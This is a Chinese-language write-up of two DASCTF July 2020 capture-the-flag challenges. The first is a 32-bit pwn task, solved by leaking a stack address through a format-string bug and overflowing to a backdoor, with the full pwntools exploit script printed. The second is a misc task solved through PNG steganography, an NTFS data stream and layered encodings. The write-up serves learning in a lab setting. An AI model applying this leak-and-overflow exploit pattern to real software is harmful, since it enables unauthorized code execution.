2020年DASCTF七月线上赛

===

PWN

虚假签到

checksec后,32位文件,只有NX栈不可执行保护。

载入ida后发现明显的栈溢出与格式字符串漏洞,且保护没有canary,在程序的字符中还可以看见backdoor。但是分析栈空间的时候发现多出来了个局部变量。image-20200726120631920

然后接着看汇编代码,发现这个局部变量有着canary的类似的作用,因为程序最后要靠它获得esp,那我们把它随便覆盖值的话肯定会导致程序访问无效地址出错。且程序在上图的r与s之间还多出了16字节的空间。image-20200726121145913

在gdb中清晰的看到:image-20200726121303857

所以按照以往改变返回地址来控制程序走向的话要多覆盖16字节数据然后通过第二次溢出将覆盖的局部变量改变回原来的值。写脚本攻击,失败。。。

又分析了栈的分布,没有错啊。发现程序中的格式化字符漏洞我没有用,才想起程序的栈随机化。每次加载程序的栈地址不一样,我不能把gdb调试看到的栈地址在脚本中用。

gdb找ebp-4的位置。image-20200726122351066

再次脚本攻击成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#context.log_level = 'debug'

p = process('./qiandao')

p.recvuntil('name:')
p.sendline("%13$p")
p.recvuntil('0x')
addr = int(p.recv(8), 16)
p.recvuntil('?')
payload = 0x24*'a' + p32(addr) + 0x14*'a' + p32(0x0804857D)
p.sendline(payload)
p.interactive()

MISC

welcome to the misc world

附件下载解压后一张png图片与一个压缩包,压缩包要密码,显然要从所给png图片找密码。

png图片是名字红蓝猜测rb隐写。因为是png图片直接使用zsteg工具看一下,可以看到隐藏了一张图片,提取出来发现密码:image-20200726130546581

用360压缩打开压缩包,可以看到有ntfs隐写流文本文件,直接输入密码查看:image-20200726130709679

以为是flag,提交但是错误的,这里就懵了很久。。。

后面想到还有一个hint.png图片,打开看没什么,拖进010editor发现最后有一长段字符:image-20200726132148398

从字符组成猜测是base64,解码后:image-20200726132234920

从这里明确了就是base64编码,但是解出的编码还是不清楚是什么,但确定是一种编码,进入编码网站把觉得会是都试了下,在escape编码发现:image-20200726132440317

然后记得有一种核心价值观编码,在这个编码网站也有(真的齐全),解码后:image-20200726132629311

那么之前flag里的内容就是通过base85加密后的,解密base85得到flag:image-20200726132735367

-------------本文结束感谢您的阅读-------------